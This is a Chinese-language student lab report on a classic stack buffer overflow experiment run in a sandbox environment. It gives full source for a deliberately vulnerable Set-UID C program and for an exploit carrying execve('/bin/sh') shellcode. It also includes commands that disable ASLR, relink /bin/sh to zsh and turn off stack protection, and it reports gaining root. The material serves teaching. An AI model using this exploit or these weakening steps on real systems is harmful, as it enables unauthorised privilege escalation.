缓冲区溢出漏洞实验
##20181234朱越辛##
本次实验在实验楼模拟环境下进行实验，实验中要求在 xfce 终端中输入，实验楼给出的教程详细且有序，但也遇到了一些问题，在这里进行说明和总结。（因时间关系，完成后没有时间截图，故有些地方无图片说明，请见谅）
一、实验介绍
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。
缓冲区溢出是一种非常普遍、非常危险的漏洞，在各种操作系统、应用软件中广泛存在。利用该攻击，可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是，可以利用它执行非授权指令，甚至可以取得系统特权，进而进行各种非法操作。
本次实验要求：有C 语言基础；会进制转换以及计算；熟悉基本 linux 命令和vim指令
二、实验准备
实验楼提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备。
即利用命令安装一些用于编译32位C程序的软件包：
sudo apt-get update sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev sudo apt-get install -y python3.6-gdbm gdb
三、实验操作
（一）初始设置
1.Ubuntu和其他一些Linux系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，为充分了解缓冲区原理，降低实验难度，观察易得结果，我们使用以下命令关闭这一功能：
sudo sysctl -w kernel.randomize_va_space=0
2.此外，为了进一步防范缓冲区溢出攻击及其他利用shellcode程序的攻击，许多shell程序在被调用时会自动放弃它们的特权，因此，即使我们能欺骗一个Set-UID 程序调用一个 shell，也无法在这个shellz里保持root权限，所以我们要做一个防护措施。
linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接，我们使用另一个 shell 程序（zsh）代替 /bin/bash，以“恢复其特权”，下面的指令描述了如何设置 zsh 程序：
sudo su cd /bin rm sh ln -s zsh sh exit
输入命令 linux32 进入32位linux环境。输入 /bin/bash 使用bash：
（二）shellcode设置（此处引用实验楼的解释）
（三）漏洞程序
按照实验步骤，首先在 /tmp 目录下新建一个 stack.c 文件：
cd /tmp vim stack.c
按 i 切换到插入模式，编辑stack.c:
/* stack.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
此处会读取一个名为“badfile”的文件，并将文件内容装入“buffer”
编译该程序，并设置SET-UID。
sudo su gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack exit
注：GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈，-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。
（四）攻击程序
为攻击刚才的漏洞程序，并获得root权限，在/tmp中创建一个 exploit.c 文件，编辑代码：
/* exploit.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
//在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer，偏移量设为了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上述代码，\x??\x??\x??\x?? 处需要改为 shellcode 保存在内存中的地址，因为发生溢出后这个位置要覆盖返回地址。而 strcpy(buffer+100,shellcode)，shellcode 保存在 buffer + 100 的位置。下面将介绍寻找这个 buffer 的地址。
1.现在我们要得到 shellcode 在内存中的地址，输入命令进入 gdb 调试：
gdb stack disass main
结果如下：
esp中就是str的起始地址,所以在地址0x080484ee处设置断点。
b *0x080484ee r i r $esp
根据strcpy(buffer + 100,shellcode);可计算 shellcode 的地址为 0xffffd4c0(十六进制) + 0x64(100的十六进制) = 0xffffd524(十六进制)
修改exploit.c文件，将 \x??\x??\x??\x?? 修改为 \x24\xd5\xff\xff 并编译。
gcc -m32 -o exploit exploit.c
运行攻击程序 exploit和漏洞程序 stack，观察结果：
可见，通过攻击，获得了root 权限。
四、实验总结
这次实验比较简单，在实验楼简单明了的步骤过程的帮助下，可以比较顺利的完成了实验。但是在实验的过程中，依然存在一些问题。
1.指令不熟悉，在vim编辑时不会保存退出，修改时容易出错。
2.第一次攻击时出现Segmentation fault,指访问的内存超过了系统所给这个程序的内存空间,地址计算出错，后来经过二次计算正确。
通过这次实验，我明白了什么是缓冲区溢出攻击，即通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，造成程序崩溃或使程序转而执行其它指令，以达到攻击的目的，从而对Linux系统有了进一步的了解。
